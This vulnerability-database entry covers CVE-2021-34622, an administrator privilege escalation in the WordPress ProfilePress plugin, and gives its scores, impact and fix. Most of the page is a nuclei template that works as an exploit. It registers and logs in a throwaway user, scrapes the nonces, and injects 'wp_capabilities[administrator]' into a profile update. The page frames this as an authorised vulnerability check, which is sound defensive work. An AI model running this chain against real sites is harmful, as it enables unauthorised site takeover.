HexBrain

Browse / CVEs / CVE-2021-34622

CVE-2021-34622· properfraction / profilepress· CWE-269

WordPress ProfilePress <= 3.1.3 - Privilege Escalation

criticalseverity
8.8CVSS score
4.9%likelihood of exploitation, next 30 days
92%of all CVEs are less likely
Readycheck to confirm it

ProfilePress plugin before 3.1.4 allows privilege escalation. Due to insufficient validation in the profile update functionality, authenticated users can supply arbitrary usermeta fields, including `wp_capabilities`, during profile updates. This enables a user to escalate their privileges to administrator.

Impact

Authenticated users can escalate their privileges to administrator by supplying arbitrary usermeta fields during profile updates, leading to complete WordPress site takeover.

Fix

Upgrade to ProfilePress version 3.1.4 or later.

How to confirm it

Send: POST /wp-admin/admin-ajax.php
Send: GET /account/edit-profile/
Send: POST /wp-admin/admin-ajax.php
Positive when: contains "success\":true" or "Account was updated successfully" AND status 200

Run it with nuclei: nuclei -id CVE-2021-34622 -u <target>

The full check
id: CVE-2021-34622

info:
  name: WordPress ProfilePress <= 3.1.3 - Privilege Escalation
  author: Sourabh-Sahu
  severity: critical
  description: |
    ProfilePress plugin before 3.1.4 allows privilege escalation. Due to insufficient validation in the profile update functionality, authenticated users can supply arbitrary usermeta fields, including `wp_capabilities`, during profile updates. This enables a user to escalate their privileges to administrator.
  impact: |
    Authenticated users can escalate their privileges to administrator by supplying arbitrary usermeta fields during profile updates, leading to complete WordPress site takeover.
  remediation: |
    Upgrade to ProfilePress version 3.1.4 or later.
  reference:
    - https://www.wordfence.com/blog/2021/06/easily-exploitable-critical-vulnerabilities-patched-in-profilepress-plugin/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-34622
  classification:
    cve-id: CVE-2021-34622
    epss-score: 0.0493
    epss-percentile: 0.92207
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cwe-id: CWE-269
    cpe: cpe:2.3:a:properfraction:profilepress:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 4
    vendor: properfraction
    product: profilepress
    fofa-query: body="/wp-content/plugins/profilepress"
  tags: cve,cve2021,wordpress,wp-plugin,wp,profilepress,privilege-escalation,authenticated,intrusive,vkev,vuln

variables:
  username: "user_{{to_lower(rand_base(5))}}"
  password: "pass_{{rand_base(8)}}"
  email: "{{randstr}}@{{rand_base(5)}}.com"
  firstname: "{{rand_base(5)}}"
  lastname: "{{rand_base(5)}}"
  boundary: "WebKitFormBoundarypRyCNwmSkLdfNd7E"

http:
  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary={{boundary}}
        Accept-Encoding: gzip

        --{{boundary}}
        Content-Disposition: form-data; name="reg_username"

        {{username}}
        --{{boundary}}
        Content-Disposition: form-data; name="reg_email"

        {{email}}
        --{{boundary}}
        Content-Disposition: form-data; name="reg_password"

        {{password}}
        --{{boundary}}
        Content-Disposition: form-data; name="reg_password_present"

        true
        --{{boundary}}
        Content-Disposition: form-data; name="reg_first_name"

        {{firstname}}
        --{{boundary}}
        Content-Disposition: form-data; name="reg_last_name"

        {{lastname}}
        --{{boundary}}
        Content-Disposition: form-data; name="action"

        pp_ajax_signup
        --{{boundary}}--

      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=pp_ajax_login&data=login_username%3D{{username}}%26login_password%3D{{password}}%26login_form_id%3D1

  - raw:
      - |
        GET /account/edit-profile/ HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        name: wpnonce
        group: 1
        regex:
          - 'name="_wpnonce"\s+value="([^"]+)"'
          - "name='_wpnonce'\\s+value='([^']+)'"
        internal: true

      - type: regex
        name: nonce
        group: 1
        regex:
          - '"nonce"\s*:\s*"([^"]+)"'
          - 'pp_ajax_form\s*=\s*\{[^}]*"nonce"\s*:\s*"([^"]+)"'
        internal: true

  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary={{boundary}}
        Accept-Encoding: gzip

        --{{boundary}}
        Content-Disposition: form-data; name="reg_username"

        {{username}}
        --{{boundary}}
        Content-Disposition: form-data; name="eup_email"

        {{email}}
        --{{boundary}}
        Content-Disposition: form-data; name="eup_first_name"

        {{firstname}}
        --{{boundary}}
        Content-Disposition: form-data; name="eup_last_name"

        {{lastname}}
        --{{boundary}}
        Content-Disposition: form-data; name="eup_display_name"

        {{firstname}} {{lastname}}
        --{{boundary}}
        Content-Disposition: form-data; name="_wpnonce"

        {{wpnonce}}
        --{{boundary}}
        Content-Disposition: form-data; name="nonce"

        {{nonce}}
        --{{boundary}}
        Content-Disposition: form-data; name="ppmyac_form_action"

        updateProfile
        --{{boundary}}
        Content-Disposition: form-data; name="action"

        pp_ajax_editprofile
        --{{boundary}}
        Content-Disposition: form-data; name="is_melange"

        true
        --{{boundary}}
        Content-Disposition: form-data; name="wp_capabilities[administrator]"

        1
        --{{boundary}}--

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'success":true'
          - 'Account was updated successfully'
        condition: or

      - type: status
        status:
          - 200

    extractors:
      - type: dsl
        dsl:
          - 'email'
          - 'username'
          - 'password'

References

Use this check only on systems you are authorised to test. Where the data comes from